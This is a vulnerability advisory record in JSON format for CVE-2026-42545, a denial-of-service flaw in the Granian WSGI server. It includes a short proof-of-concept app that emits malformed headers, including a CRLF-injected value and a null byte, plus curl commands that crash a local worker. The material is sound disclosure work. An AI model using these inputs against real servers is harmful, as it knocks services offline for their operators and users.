{"id":"CVE-2026-42545","aliases":["GHSA-f5p7-9fr5-8jmj","PYSEC-2026-2502"],"title":"Granian vulnerable to DoS via WSGI response header panic","summary":"Granian vulnerable to DoS via WSGI response header panic","severity":"medium","cvss":5.9,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"granian","product":"granian","ecosystem":"pip","affected":["granian >= 0.2.0, < 2.7.4"],"patched":["granian 2.7.4"],"published":"2026-05-06","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:51:05.392679421Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-f5p7-9fr5-8jmj","references":[{"url":"https://github.com/emmett-framework/granian/security/advisories/GHSA-f5p7-9fr5-8jmj"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42545"},{"url":"https://github.com/emmett-framework/granian"}],"tags":["osv","pip"],"epss":0.00222,"epssPercentile":0.13072,"ingestedAt":"2026-07-13T18:57:57.151Z","slug":"CVE-2026-42545","body":"## Overview\n\n### Summary\n\nGranian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses `.unwrap()` on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.\n\nThis issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a `500` instead kill the worker process.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42\n\nIf either conversion fails, `.unwrap()` panics. In release builds Granian uses `panic = \"abort\"`, so the panic terminates the worker.\n\n\n#### Preconditions\n\nThe attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.\n\nExamples include:\n\n- a header name containing a space\n- a header value containing `\\r\\n`\n- a header value containing a null byte\n\nThese are realistic failure modes for applications that reflect user-controlled data into headers such as `Location`, `Content Disposition`, or custom response headers.\n\n### PoC\n\n#### Step 1\n\nstart Granian with the PoC WSGI app\n\n```python\n# app.py\ndef app(environ, start_response):\n    path = environ.get(\"PATH_INFO\", \"/\")\n    if path == \"/crash-name\":\n        headers = [(\"X Bad Name\", \"value\")]\n    elif path == \"/crash-value\":\n        headers = [(\"Content-Type\", \"text/html\\r\\nX-Injected: evil\")]\n    elif path == \"/crash-null\":\n        headers = [(\"X-Custom\", \"value\\x00end\")]\n    else:\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [b\"OK - server alive\\n\"]\n\n    start_response(\"200 OK\", headers)\n    return [b\"This response kills the worker\\n\"]\n\n```\n\n```bash\ngranian --interface wsgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2\n\ntrigger the crash (any one of these is sufficient)\n\n```bash\ncurl http://127.0.0.1:8000/crash-name\ncurl http://127.0.0.1:8000/crash-value\ncurl http://127.0.0.1:8000/crash-null\n```\n\n\nExpected result:\n\n- the worker aborts after any of the crash paths\n- subsequent requests fail until the worker is restarted\n\n\n### Impact\n\n- Worker process denial of service\n- A single bad response kills one worker\n- Application bugs become process crashes instead of request-scoped failures\n\n## Affected packages\n\n- `granian >= 0.2.0, < 2.7.4`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `granian 2.7.4`","depth":"sunlit","depthScore":32,"depthScoreParts":{"impact":32.5,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}